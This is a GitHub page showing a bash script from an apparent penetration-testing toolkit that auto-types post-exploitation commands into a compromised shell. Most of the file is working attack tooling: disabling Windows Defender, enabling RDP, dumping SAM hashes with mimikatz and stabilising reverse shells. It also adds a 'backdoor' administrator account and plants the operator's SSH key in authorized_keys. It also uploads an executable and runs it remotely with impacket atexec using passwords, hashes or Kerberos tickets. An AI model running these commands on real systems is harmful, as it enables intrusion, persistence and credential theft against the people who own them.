-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdmenu_keyboard
More file actions
executable file
·193 lines (169 loc) · 6.09 KB
/
dmenu_keyboard
File metadata and controls
executable file
·193 lines (169 loc) · 6.09 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
#!/bin/bash
# auto_shell.sh
# Created on: Tue 11 Aug 2020 11:44:27 AM CEST
#
# ____ __ ____ __
# ( _ \ /. |( _ \/ )
# )___/(_ _))___/ )(
# (__) (_)(__) (__)
#
# Description:
# Script to setup tty shell information without typo
# functions for a nicer syntax
function command() {
xte "str $1"
sleep 0.5
xte "key Return"
}
function key() {
xte "str $1"
sleep 0.5
}
function ctrl() {
xte "keydown Control_L" "key $1" "keyup Control_L"
}
function_meta=("bye_bye_defender" "stabilise_rev_shell" "stabilise_rev_shell3" \
"tmux_sinc_panes_on" "tmux_sinc_panes_off" "mimikatz_dump_sam" "activate_rdp" "backdoor_win" \
"at_exec_ma_boy" "file_splitter" "add_ssh_keyz" "powershell_notes" "repeat_text")
# function that are needed
function stabilise_rev_shell() {
command "python -c 'import pty; pty.spawn(\"/bin/bash\")'"
ctrl Z
command "stty raw -echo"
command "fg"
command "export TERM=xterm"
}
function stabilise_rev_shell3() {
command "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"
ctrl Z
command "stty raw -echo"
command "fg"
command "export TERM=xterm"
}
function activate_rdp() {
command "reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"
command "netsh advfirewall firewall set rule group=\"remote desktop\" new enable=yes"
}
function mimikatz_dump_sam() {
command "privilege::debug"
command "token::elevate"
command "lsadump::sam"
}
function tmux_sinc_panes_on() {
ctrl A
key ":"
command "setw synchronize-panes on"
}
function tmux_sinc_panes_off() {
ctrl A
key ":"
command "setw synchronize-panes off"
}
function bye_bye_defender() {
command "Set-MpPreference -DisableRealtimeMonitoring \$true"
}
function backdoor_win() {
command "net user backdoor password1234 /add"
sleep 1
command "net localgroup \"Administrator\" backdoor /add"
sleep 1
command "net localgroup \"Remote Desktop Users\" backdoor /add"
}
function at_exec_ma_boy() {
form_data=$(zenity --forms --title="Enter Information" \
--text="Enter the following information:" \
--add-entry="IP Address" \
--add-entry="Username" \
--add-combo="Authentication Type" --combo-values="Password|Hash|Ticket" \
--separator="|")
ip_address=$(echo "$form_data" | cut -d"|" -f1)
username=$(echo "$form_data" | cut -d"|" -f2)
auth_type=$(echo "$form_data" | cut -d"|" -f3)
if [ $auth_type = "Ticket" ]; then
password=$(zenity --file-selection --title="Select ticket (.ccache)" --file-filter="Kerberos tickets | *.ccache")
else
password=$(zenity --password --title="enter $auth_type")
fi
agent=$(zenity --file-selection --title="Select executable" --file-filter="Windows executable | *.exe" --filename="$HOME/payload/")
exe=$(basename $agent)
sleep 2
if [ $auth_type = "Hash" ]; then
command "echo -e \"use C\\$\nput $agent\" | /opt/pentest/impacket/bin/smbclient.py -debug -hashes $password '$username@$ip_address'"
sleep 1
command "/opt/pentest/impacket/bin/atexec.py -debug -hashes $password '${username}@$ip_address' 'c:\\$exe'"
elif [ $auth_type = "Ticket" ]; then
command "echo -e \"use C\\$\nput $agent\" | KRB5CCNAME=$password /opt/pentest/impacket/bin/smbclient.py -debug -k -no-pass '$username@$ip_address'"
sleep 1
command "KRB5CCNAME=$password /opt/pentest/impacket/bin/atexec.py -debug -k -no-pass '${username}@$ip_address' 'c:\\$exe'"
else
command "echo -e \"use C\\$\nput $agent\" | /opt/pentest/impacket/bin/smbclient.py -debug '${username}:${password}@$ip_address'"
sleep 1
command "/opt/pentest/impacket/bin/atexec.py -debug '${username}:${password}@$ip_address' 'c:\\$exe'"
fi
}
function file_splitter() {
form_output=$(zenity --forms \
--title="File splitter:" \
--text="Please enter a number and select an option:" \
--add-entry="Enter a Number:" \
--add-combo="Select Option:" \
--combo-values="drag|path" \
--separator="|")
files=
if [ -z "$form_output" ]; then
notify-send -i /etc/p3ng0s/icons/p3ng0s.png -a "system" "No input provided. Exiting."
exit 1
fi
number_of_splits=$(echo "$form_output" | cut -d"|" -f1)
type_of_option=$(echo "$form_output" | cut -d"|" -f2)
if ! [[ "$number_of_splits" =~ ^[0-9]+$ ]]; then
zenity --error --title="Error" --text="Invalid input. Please enter a valid number."
exit 1
fi
working_dir=$(mktemp -d )
cd $working_dir
if [ $type_of_option = "drag" ]; then
notify-send -i /etc/p3ng0s/icons/p3ng0s.png -a "system" "You entered: $number_of_splits amount of splits please drag the file in the window that will open after this dialog"
files=$(/etc/p3ng0s/ripdrag -p -k -t)
echo $files | xargs -I {} cp -r "{}" .
else
files=$(zenity --title="Enter Path" --text="Please enter a path:" --file-selection --filename="/")
echo $files | xargs -I {} cp -r "{}" .
fi
files=$(/usr/bin/ls $working_dir)
echo $files | xargs -I {} split -n $number_of_splits -d --additional-suffix=.bin {} {}
echo $files | xargs -I {} rm -rf "{}"
ripdrag $(/usr/bin/ls $working_dir)
}
function add_ssh_keyz() {
KEY_PATH=${HOME}/.ssh/id_rsa.pub
if [ -d /home/p4p1-live ] ; then
KEY_PATH=${HOME}/loot/creds/id_rsa.pub
fi
command "echo \"$(cat ${KEY_PATH})\" > ~/.ssh/authorized_keys"
}
function powershell_notes() {
local md_result
local checklist_path=$HOME/Documents/notes/Checklists/Tactic\ Techniques\ Procedures/
[[ "$(cat /etc/hostname)" = "p3ng0s-live" || -d /home/p4p1-live/ ]] && checklist_path=$HOME/loot/notes/Checklists/Tactic\ Techniques\ Procedures/
[[ -d "$checklist_path" ]] || { notify-send -i /etc/p3ng0s/icons/p3ng0s.png -a "system" $'Did not find checklist data!'; return 1; }
md_result=$(find "$checklist_path" -name "*.md" \
| xargs -I {} awk 'tolower($0) ~ /^```powershell/{found=1; next} /^```/{found=0} found' '{}' \
| sort -u)
res=$(echo "$md_result" | dmenu "$@")
sleep 2
key "$res"
}
function repeat_text() {
data=$(zenity --text-info --editable --title "Paste in what you need repeated")
sleep 5
while IFS= read -r line; do
command "$line"
done <<< "$data"
}
ret=$(echo ${function_meta[*]} | tr ' ' '\n' | dmenu "$@")
if [ ! -z $ret ]; then
notify-send -i /etc/p3ng0s/icons/p3ng0s.png -a "system" $'You have 5 seconds to wait before the autotype starts...'
sleep 5
$ret "$@"
fi